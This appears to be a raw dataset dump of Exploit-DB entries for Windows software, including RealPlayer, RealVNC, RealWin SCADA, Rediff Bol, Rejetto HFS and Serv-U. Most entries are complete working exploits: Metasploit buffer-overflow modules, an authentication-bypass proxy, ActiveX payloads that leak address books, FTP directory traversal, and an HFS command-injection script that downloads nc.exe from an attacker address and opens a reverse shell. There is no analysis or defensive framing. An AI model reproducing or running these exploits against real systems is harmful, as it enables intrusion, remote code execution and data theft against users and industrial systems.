deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23694
Description: RealPlayer - '.RealMedia' File Handling Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-12-27
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealPlayer RealMedia File Handling Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
				The vulnerability exists in the handling of real media files, due to the insecure
				usage of the GetPrivateProfileString function to retrieve the URL property from an
				InternetShortcut section.

				This module generates a malicious rm file which must be opened with RealPlayer via
				drag and drop or double click methods. It has been tested successfully on Windows
				XP SP3 with RealPlayer 15.0.5.109.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-5691' ],
					[ 'OSVDB', '88486' ],
					[ 'BID', '56956' ],
					[ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process'
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'BadChars'    => "\x00\x0a\x0d",
					'DisableNops' => true,
					'Space'       => 2000
				},
			'Targets'        =>
				[
					[ 'Windows XP SP3 / Real Player 15.0.5.109',
						{
							'Ret'       => 0x63f2b4b5, # ppr from rpap3260.dll
							'OffsetOne' => 2312, # Open via double click
							'OffsetTwo' => 2964 # Open via drag and drop
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 14 2012',
			'DefaultTarget'  => 0))

		register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)

	end

	def exploit

		buffer = payload.encoded
		buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
		buffer << generate_seh_record(target.ret)
		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
		buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
		buffer << generate_seh_record(target.ret)
		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
		buffer << rand_text(7000) # Generate exception

		content = "[InternetShortcut]\nURL="
		filecontent = content+buffer

		file_create(filecontent)

	end
end
Exploit-DB #16456
Description: Realtek Media Player Playlist - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: realtek_playlist.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Realtek Media Player Playlist Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Realtek Media Player(RtlRack) A4.06.
				When a Realtek Media Player client opens a specially crafted playlist, an
				attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 11127 $',
			'References'     =>
				[
					[ 'CVE', '2008-5664'],
					[ 'OSVDB', '50715'],
					[ 'BID', '32860' ],
				],
			'Payload'        =>
				{
					'Space'           => 550,
					'BadChars'	  => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Realtek Media Player(RtlRack) A4.06 (XP Pro All English)', { 'Ret' => 0x72d12899 } ], #  msacm32.drv 5.1.2600.0  (xpclient[PII_REDACTED])
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 16 2008',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		return if ((p = regenerate_payload(cli)) == nil)

		pla =  rand_text_alpha_upper(200)
		pla << generate_seh_payload(target.ret)
		pla << rand_text_alpha_upper(1266)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		send_response_html(cli, pla, { 'Content-Type' => 'text/plain' })

		handler(cli)

	end

end
Exploit-DB #16489
Description: RealVNC 3.3.7 - Client Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: realvnc_client.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealVNC 3.3.7 Client Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe).
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2001-0167' ],
					[ 'OSVDB', '6281' ],
					[ 'BID', '2305' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'MaxNops'  => 0,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English',	{ 'Ret' => 0x7c2ec68b } ],
					[ 'Windows XP SP2 English',	{ 'Ret' => 0x77dc15c0 } ],
					[ 'Windows 2003 SP1 English',	{ 'Ret' => 0x76aa679b } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jan 29 2001',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
			], self.class)
	end

	def on_client_connect(client)

		rfb = "RFB 003.003\n"

		client.put(rfb)
	end

	def on_client_data(client)
		return if ((p = regenerate_payload(client)) == nil)

		filler = make_nops(993 - payload.encoded.length)

		sploit =  "\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded
		sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV')
		sploit << rand_text_english(200)

		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
		client.put(sploit)

		handler
		service.close_client(client)
	end

end
Exploit-DB #36932
Description: RealVNC 4.1.0/4.1.1 - Authentication Bypass
Type: remote
Platform: windows
Date: 2012-05-13
Author: fdiskyou

Exploit:
# Exploit Title: RealVNC 4.1.0 and 4.1.1 Authentication Bypass Exploit
# Date: 2012-05-13
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 4.1.0 and 4.1.1
# Tested on: Windows XP
# CVE: CVE-2006-2369 
# Requires vncviewer installed
# Basic port of hdmoore/msf2 perl version to python for fun and profit (ease of use)
import select
import thread
import os
import socket
import sys, re

BIND_ADDR = '127.0.0.1'
BIND_PORT = 4444

def pwn4ge(host, port):
	socket.setdefaulttimeout(5)
	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		server.connect((host, port))
	except socket.error, msg:
		print '[*] Could not connect to the target VNC service. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1] 
		sys.exit();
	else:
		hello = server.recv(12)
		print "[*] Hello From Server: " + hello
		if hello != "RFB 003.008\n":
			print "[*] The remote VNC service is not vulnerable"
			sys.exit()
		else:
			print "[*] The remote VNC service is vulnerable"
			listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			try:
				listener.bind((BIND_ADDR, BIND_PORT))
			except socket.error , msg:
				print '[*] Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
				sys.exit()
			print "[*] Listener Socket Bind Complete"
			listener.listen(10)
			print "[*] Launching local vncviewer"
			thread.start_new_thread(os.system,('vncviewer ' + BIND_ADDR + '::' + str(BIND_PORT),))
			print "[*] Listener waiting for VNC connections on localhost"
			client, caddr = listener.accept()
			listener.close()
			client.send(hello)
			chello = client.recv(12)
			server.send(chello)
			methods = server.recv(2)
			print "[*] Auth Methods Recieved. Sending Null Authentication Option to Client"
			client.send("\x01\x01")
			client.recv(1)
			server.send("\x01")
			server.recv(4)
			client.send("\x00\x00\x00\x00")
			print "[*] Proxying data between the connections..."
			running = True
			while running:
				selected = select.select([client, server], [], [])[0]
				if client in selected:
					buf = client.recv(8192)
					if len(buf) == 0:
						running = False
					server.send(buf)
				if server in selected and running:
					buf = server.recv(8192)
					if len(buf) == 0:
						running = False
					client.send(buf)
				pass
			client.close()
		server.close()
	sys.exit()

def printUsage():
	print "[*] Read the source, Luke!"

def main():
	try:
		SERV_ADDR = sys.argv[1]
		SERV_PORT = sys.argv[2]
	except:
		SERV_ADDR = raw_input("[*] Please input an IP address to pwn: ")
		SERV_PORT = 5900
	try:
		socket.inet_aton(SERV_ADDR)
	except socket.error:
		printUsage()
	else:
		pwn4ge(SERV_ADDR, int(SERV_PORT))

if __name__ == "__main__":
	main()
Exploit-DB #17434
Description: RealWin SCADA Server - DATAC Login Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-06-22
Author: Metasploit

Exploit:
##
# $Id: realwin_on_fcs_login.rb 13007 2011-06-22 22:36:55Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealWin SCADA Server DATAC Login Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in DATAC Control
				International RealWin SCADA Server 2.1 (Build 6.0.10.10) or
				earlier.  By sending a specially crafted On_FC_CONNECT_FCS_LOGIN
				packet containing a long username, an attacker may be able to
				execute arbitrary code.
			},
			'Author'         =>
				[
					'Luigi Auriemma', #discovery
					'MC',
					'B|H <bh[AT]bufferattack.com>'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13007 $',
			'References'     =>
				[
					[ 'URL', 'http://aluigi.altervista.org/adv/realwin_2-adv.txt' ],
					[ 'URL', 'http://www.dataconline.com/software/realwin.php' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 450,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Universal', 
						{
							'Offset'   => 392,         # Offset to SEH
							'Ret'      => 0x40012540,  # pop/pop/ret @FlexMLang.dll
						}
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Mar 21 2011'))

		register_options([Opt::RPORT(910)], self.class)
	end

	def exploit
		data =  [0x67542310].pack('V')
		data << [0x00000824].pack('V')
		data << [0x00110011].pack('V')
		data << "\x01\x00"
		data << rand_text_alpha_upper(target['Offset'])
		data << generate_seh_payload(target.ret)
		data << rand_text_alpha_upper(17706 - payload.encoded.length)
		data << [0x451c3500].pack('V')
		data << [0x00000154].pack('V')
		data << [0x00020040].pack('V')

		connect
		print_status("Trying target #{target.name}...")
		sock.put(data)
		select(nil,nil,nil,0.5)
		handler
		disconnect
	end

end
Exploit-DB #26221
Description: Rediff Bol 7.0 Instant Messenger - ActiveX Control Information Disclosure
Type: remote
Platform: windows
Date: 2005-09-05
Author: Gregory R. Panakkal

Exploit:
source: https://www.securityfocus.com/bid/14740/info

Rediff Bol Instant Messenger is prone to an information disclosure vulnerability. A malicious ActiveX control could allow an attacker to obtain the contents of a vulnerable user's Windows Address Book. 

[script]
var Obj = new ActiveXObject("Fetch.FetchContact.1");
alert(Obj.FullAddressBook(0,"","",""));
[/script]
Exploit-DB #3058
Description: Rediff Bol Downloader - ActiveX Control Execute Local File
Type: remote
Platform: windows
Date: 2006-12-31
Author: Gregory R. Panakkal

Exploit:
<!--
Rediff Bol Downloader ActiveX Allows Downloading and Spawning Arbitary
Files
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Affected Program : Rediff Bol Download ActiveX
ActiveX (OCX) Control that downloads the Rediff Bol Messenger
setup and spawns it.


Related URL : http://messenger.rediff.com/newbol/


Discovered by : Gregory R. Panakkal


Vulnerability Description :

Rediff Bol Downloader ActiveX control allows any webpage
to download and spawn file. These file can be of any type.
No filtering is done.

IE Displays an alert, if the code points to a executable file on the
internet. But execution of local files displays no alert.


Tested On :
* IE 7.0.5730.11 (WinXP SP2)
* IE 6.0.2900.2180 (WinXP SP2)
-->

<html>

<body>
<OBJECT id="rboldwn" WIDTH=445 HEIGHT=40 classid="clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03" codebase="http://imdownloads.rediff.com/newbol/Bol.CAB">
</OBJECT>

<script language="vbscript">
 rboldwn.url = "file://C:/WINNT/Notepad.exe"
 rboldwn.fontsize = 14
 rboldwn.barcolor = EE4E00
 rboldwn.start = "start"
</script>

</body>
</html>

# milw0rm.com [2006-12-31]
Exploit-DB #34668
Description: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)
Type: remote
Platform: windows
Date: 2014-09-15
Author: Daniele Linguaglossa

Exploit:
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 11-09-2014
# Remote: Yes
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287

issue exists due to a poor regex in the file ParserLib.pas


function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;


it will not handle null byte so a request to

http://localhost:80/?search=%00{.exec|cmd.}

will stop regex from parse macro , and macro will be executed and remote code injection happen.


## EDB Note: This vulnerability will run the payload multiple times simultaneously. 
##   Make sure to take this into consideration when crafting your payload (and/or listener).
Exploit-DB #39161
Description: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
Type: remote
Platform: windows
Date: 2016-01-04
Author: Avinash Thapa

Exploit:
#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#	       It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
#	       It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux. 
 
#Usage : python Exploit.py <Target IP address> <Target Port Number>

#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).  
#          You may need to run it multiple times for success!


import urllib2
import sys

try:
	def script_create():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")

	def execute_script():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")

	def nc_run():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")

	ip_addr = "192.168.44.128" #local IP address
	local_port = "443" # Local Port number
	vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
	save= "save|" + vbs
	vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
	exe= "exec|"+vbs2
	vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
	exe1= "exec|"+vbs3
	script_create()
	execute_script()
	nc_run()
except:
	print """[.]Something went wrong..!
	Usage is :[.] python exploit.py <Target IP address>  <Target Port Number>
	Don't forgot to change the Local IP address and Port number on the script"""
Exploit-DB #32456
Description: RhinoSoft Serv-U FTP Server 7.2.0.1 - 'rnto' Directory Traversal
Type: remote
Platform: windows
Date: 2008-10-03
Author: dmnt

Exploit:
source: https://www.securityfocus.com/bid/31563/info

RhinoSoft Serv-U FTP server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

Serv-U FTP server 7.2.0.1 is vulnerable; other versions may also be affected. 

220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.
Exploit-DB #8211
Description: RhinoSoft Serv-U FTP Server 7.4.0.1 - 'MKD' Create Arbitrary Directories
Type: remote
Platform: windows
Date: 2009-03-16
Author: Jonathan Salwan

Exploit:
#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD" 
# requests. This can be exploited to escape the FTP root and create arbitrary directory on 
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

	if (@ARGV < 4)
		{
 		print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
 		print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
 		exit;
		}

	$ip 	= $ARGV[0];
	$port 	= $ARGV[1];
	$user	= $ARGV[2];
	$pass	= $ARGV[3];
	$dir	= $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";

	print $socket "USER $user\r\n";
	print $socket "PASS $pass\r\n";
	print $socket "MKD $dir\r\n";

		sleep(3);	
		close($socket);

print "[+]Done! directory $dir has been created\n";

# milw0rm.com [2009-03-16]
Exploit-DB #18190
Description: RhinoSoft Serv-U FTPd Server < 4.2 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-12-02
Author: Metasploit

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Egghunter
	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Serv-U FTP Server <4.2 Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the site chmod command
				in versions of Serv-U FTP Server prior to 4.2.

				You must have valid credentials to trigger this vulnerability. Exploitation
				also leaves the service in a non-functional state.
			},
			'Author'         => 'thelightcosine <thelightcosine[at]metasploit.com>',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2004-2111'],
					[ 'BID', '9483'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'DisableNops' => true,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP0-4 EN', {
						'Ret'    => 0x750212bc, #WS2HELP.DLL
						'Offset' => 396 } ],
					[ 'Windows XP SP0-1 EN', {
						'Ret'    => 0x71aa388f, #WS2HELP.DLL
						'Offset' => 394 } ]
				],
			'DisclosureDate' => 'Dec 31 2004',
			'DefaultTarget'  => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end


	def exploit
		connect_login

		eggoptions =
		{
			:checksum => true,
			:eggtag => "W00T"
		}

		hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)


		buffer = "chmod 777 "
		buffer <<  make_nops(target['Offset'] - egg.length - hunter.length)
		buffer << egg
		buffer << hunter
		buffer << "\xeb\xc9\x41\x41"	#nseh, jump back to egghunter
		buffer << [target.ret].pack('V')	#seh
		buffer << rand_text(5000)

		print_status("Trying target #{target.name}...")

		send_cmd( ['SITE', buffer] , false)

		handler
		disconnect
	end

end